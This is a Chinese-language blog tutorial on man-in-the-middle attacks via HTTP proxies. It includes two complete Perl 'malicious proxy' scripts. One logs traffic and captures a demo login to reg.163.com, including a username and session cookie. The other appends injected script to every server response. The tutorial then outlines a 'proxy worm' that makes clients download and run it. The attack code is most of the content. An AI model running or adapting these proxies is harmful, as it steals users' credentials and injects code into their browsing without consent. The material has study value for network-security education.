代理中的“中间人”攻击

说起“中间人攻击(Man-in-the-middle-attacks,简称:MITM攻击)”大家可能马上想起曾经风靡一时的SMB会话劫持,DNS 欺骗等技术,这些都是典型的MITM攻击手段。其实MITM攻击说它是一种手段,不如说它是一种攻击模式,它可以应用于各个领域,比如在现实中,A通过B 给C传话,那么B在传话给C的时候,可以夸大其词,也可以填油加醋后传给C,在这个过程中中间人B 无意中就来一次MITM攻击,其实“谣言”就是这么来的 J. 具体在网络安全方面,MITM攻击应用也很广泛,下面我就以http协议代理来介绍下代理里MITM攻击。

一 .原理
代理服务的一个典型模型:

     client   <<-data->   proxy server    <&szlig;data-> Web Server
middle man
上面可以看出:client 发出的请求 和 web server返回的数据都经过proxy server 转发,这个proxy server 就起到了一个middle man的作用,如果这个“中间人” 够黑,那么整个代理过程的数据 都可以由这个“中间人”控制。

二.攻击类型

截取敏感数据
代码注射
ProXP worm
其他利用

三.实例说明
1.  截取敏感数据
首先我们编写一个“恶意的中间人” 代理程序:

  1. =============================codz start===============================  
  2. #!/usr/bin/perl  
  3. #proxy mid-man-atk Test script  
  4.   
  5. use strict;  
  6. use URI;  
  7. use IO::Socket;  
  8.   
  9. my $showOpenedSockets=1;  
  10.   
  11. my $server = IO::Socket::INET->new (  
  12.  LocalPort => 8080,  
  13.  Type   => SOCK_STREAM,  
  14.  Reuse   => 1,  
  15.  Listen  => 10);  
  16.   
  17.   
  18. binmode $server;  
  19.   
  20. while (my $browser = $server->accept()) {  
  21. print "\n\n--------------Clint提交数据-------------------\n";  
  22.   
  23. binmode $browser;  
  24.   
  25. my $method       ="";  
  26. my $content_length   = 0;  
  27. my $content       = 0;  
  28. my $accu_content_length = 0;  
  29. my $host;  
  30. my $hostAddr;  
  31. my $httpVer;  
  32.   
  33. while (my $browser_line = <$browser>) {  
  34.   unless ($method) {  
  35.   
  36.    ($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+) +(\S+) +(\S+)/;  
  37.    my $uri = URI->new($hostAddr);  
  38.   
  39.    $host = IO::Socket::INET->new (  
  40.     PeerAddr=> $uri->host,  
  41.     PeerPort=> $uri->port );  
  42.   
  43.     die "couldn't open $hostAddr" unless $host;  
  44.   
  45.    if ($showOpenedSockets) {  
  46.     print "Opened ".$uri->host." , port ".$uri->port."\n";  
  47.    }  
  48.   
  49.    binmode $host;  
  50.   
  51.    print $host "$method ".$uri->path_query." $httpVer\n";  
  52.    print "$method ".$uri->path_query." $httpVer\n";  
  53.    next;  
  54.   }  
  55.   
  56.   $content_length = $1 if   $browser_line=~/Content-length: +(\d+)/i;  
  57.   $accu_content_length+=length $browser_line;  
  58.   print $browser_line;  
  59.   print $host $browser_line;  
  60.   last if $browser_line =~ /^\s*$/ and $method ne 'POST';  
  61.   if ($browser_line =~ /^\s*$/ and $method eq "POST") {  
  62.    $content = 1;  
  63.    last unless $content_length;  
  64.    next;  
  65.   }  
  66.   if ($content) {  
  67.    $accu_content_length+=length $browser_line;  
  68.    last if $accu_content_length >= $content_length;  
  69.   }  
  70. }  
  71. print "\n\n................Serve返回数据.................xx\n";  
  72.   
  73. $content_length   = 0;  
  74. $content       = 0;  
  75. $accu_content_length = 0;  
  76.   
  77. my @ret= <$host>;  
  78.   
  79. foreach my $host_line (@ret){  
  80.   print $host_line;  
  81.   print $browser $host_line;  
  82.   $content_length = $1 if $host_line=~/Content-length: +(\d+)/i;  
  83.   if ($host_line =~ m/^\s*$/ and not $content) {  
  84.    $content = 1;  
  85.    #last unless $content_length;  
  86.    next;  
  87.   }  
  88.   if ($content) {  
  89.    if ($content_length) {  
  90.     $accu_content_length+=length $host_line;  
  91.     print "\nContent Length: $content_length, accu: $accu_content_length\n";  
  92.   
  93.     last if $accu_content_length >= $content_length;  
  94.    }  
  95.   }  
  96. }  
  97. $browser-> close;  
  98.   
  99. =============================codz end===============================

 

 运行此脚本把结果保存到test.log:
C:\usr\bin>perl proxytest1.pl >>test.log

然后Clinet使用次代理访问_blank>http://reg.163.com/CheckUser.jsp 登陆

打开test.log得到如下数据:

  1. --------------Clint提交数据-------------------  
  2. Opened reg.163.com , port 80  
  3. POST /CheckUser.jsp HTTP/1.0  
  4. Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-Powerpoint, application/vnd.ms-Excel, application/msWord, */*  
  5. Referer: _blank>http://reg.163.com/CheckUser.jsp  
  6. …….省略…….  
  7. Cookie: URSJESSIONID=b370cQyLDya7  
  8. …….省略…….  
  9. url=&username=hack-520&password=*****&submit=%B5%C7%A1%A1%C2%BC  
  10.   
  11. ................Serve返回数据.................xx  
  12. HTTP/1.1 200 OK 

成功得到
username=hack-520
password=*****

2.代码注射
在使用代理的整个过程里,最终是通过代理服务器把数据发给clinet,这个数据是我们可以控制的,我们可以注射我们的恶意代码提交给clinet,修改上面的perl程如下:

  1. =============================codz start===============================  
  2. #!/usr/bin/perl  
  3.   
  4. #proxy mid-man-atk Test script  
  5.   
  6. use strict;  
  7. use URI;  
  8. use IO::Socket;  
  9.   
  10. my $showOpenedSockets=1;  
  11.   
  12. my $server = IO::Socket::INET->new (  
  13.   
  14.  LocalPort => 8080,  
  15.  Type   => SOCK_STREAM,  
  16.  Reuse   => 1,  
  17.  Listen  => 10);  
  18.   
  19.   
  20. binmode $server;  
  21.   
  22. while (my $browser = $server->accept()) {  
  23. print "\n\n--------------------------------------------\n";  
  24.   
  25. binmode $browser;  
  26.   
  27. my $method       ="";  
  28. my $content_length   = 0;  
  29. my $content       = 0;  
  30. my $accu_content_length = 0;  
  31. my $host;  
  32. my $hostAddr;  
  33. my $httpVer;  
  34.   
  35. while (my $browser_line = <$browser>) {  
  36.   unless ($method) {  
  37.    ($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+) +(\S+) +(\S+)/;  
  38.   
  39.    my $uri = URI->new($hostAddr);  
  40.   
  41.    $host = IO::Socket::INET->new (  
  42.     PeerAddr=> $uri->host,  
  43.     PeerPort=> $uri->port );  
  44.   
  45.     die "couldn't open $hostAddr" unless $host;  
  46.   
  47.    if ($showOpenedSockets) {  
  48.     print "Opened ".$uri->host." , port ".$uri->port."\n";  
  49.    }  
  50.   
  51.    binmode $host;  
  52.   
  53.    print $host "$method ".$uri->path_query." $httpVer\n";  
  54.    print "$method ".$uri->path_query." $httpVer\n";  
  55.    next;  
  56.   }  
  57.   
  58.   $content_length = $1 if   $browser_line=~/Content-length: +(\d+)/i;  
  59.   $accu_content_length+=length $browser_line;  
  60.   print $browser_line;  
  61.   print $host $browser_line;  
  62.   last if $browser_line =~ /^\s*$/ and $method ne 'POST';  
  63.   if ($browser_line =~ /^\s*$/ and $method eq "POST") {  
  64.    $content = 1;  
  65.    last unless $content_length;  
  66.    next;  
  67.   }  
  68.   if ($content) {  
  69.    $accu_content_length+=length $browser_line;  
  70.    last if $accu_content_length >= $content_length;  
  71.   
  72.   }  
  73. }  
  74. print "\n\nxx....................................xx\n";  
  75.   
  76. $content_length   = 0;  
  77. $content       = 0;  
  78. $accu_content_length = 0;  
  79. my @ret= <$host>;  
  80. my $ret=@ret;  
  81. push(@ret,"<script>alert(\"superhei\")</script>"); #〈=注意这里  
  82.   
  83. foreach my $host_line (@ret){  
  84.   print $host_line;  
  85.   print $browser $host_line;  
  86.   $content_length = $1 if $host_line=~/Content-length: +(\d+)/i;  
  87.   if ($host_line =~ m/^\s*$/ and not $content) {  
  88.    $content = 1;  
  89.    #last unless $content_length;  
  90.    next;  
  91.   }  
  92.   if ($content) {  
  93.    if ($content_length) {  
  94.     $accu_content_length+=length $host_line;  
  95.     print "\nContent Length: $content_length, accu: $accu_content_length\n";  
  96.     last if $accu_content_length >= $content_length;  
  97.    }  
  98.   }  
  99. }  
  100. $browser-> close;  
  101. $host  -> close;  
  102. }  
  103. =============================codz end===============================

 

代码:

  1. my @ret= <$host>;  
  2. my $ret=@ret;  
  3. push(@  
  4. ret,"<script>alert(\"superhei\")</script>"); #〈=注意这里 

这个在代理服务最终把webserver返回的数据<$host>里 注射了代码<script>alert("superhei")</script>。

运行上面的程序,当clinet用此代理服务器访问任意站时都回执行<script>alert("superhei")</script>

3.Proxy worm的实现

如果上面的例子在配合其他的客户端攻击(如网页木马),那么就可以实现proxy worm了:


proxyworm--àclinet(proxyworm1)-àclinet1(proxyworm2)-à…..à

clinet1在使用了proxyworm代理后,proxyworm向clinet注射可以让clinet下载并运行自身的代码,clinet被攻击后成为了proxyworm1 ……..。


4.其他应用
技术都又它的双面性,我们和可以利用在安全方面:比如恶意代码过虑平台:webserve 返回的数据经过代理服务器时 经过过滤在 发送给 clinet
………
小结:
其实Man-in-the-middle-attacks是个很大的课题,在很多方面都提到,
本文只是浅显的通过http协议代理介绍了下“代理中间人攻击技术”, 如果有兴趣的朋友可以研究下 其他协议“代理中间人攻击技术”。

关键词: 中间人 , https , 技术

上一篇: PHP Security-Shell RFI Scanner
下一篇: WinMerge - 文本比较工具

相关文章
目前还没有人评论,您发表点看法?
发表评论

评论内容 (必填):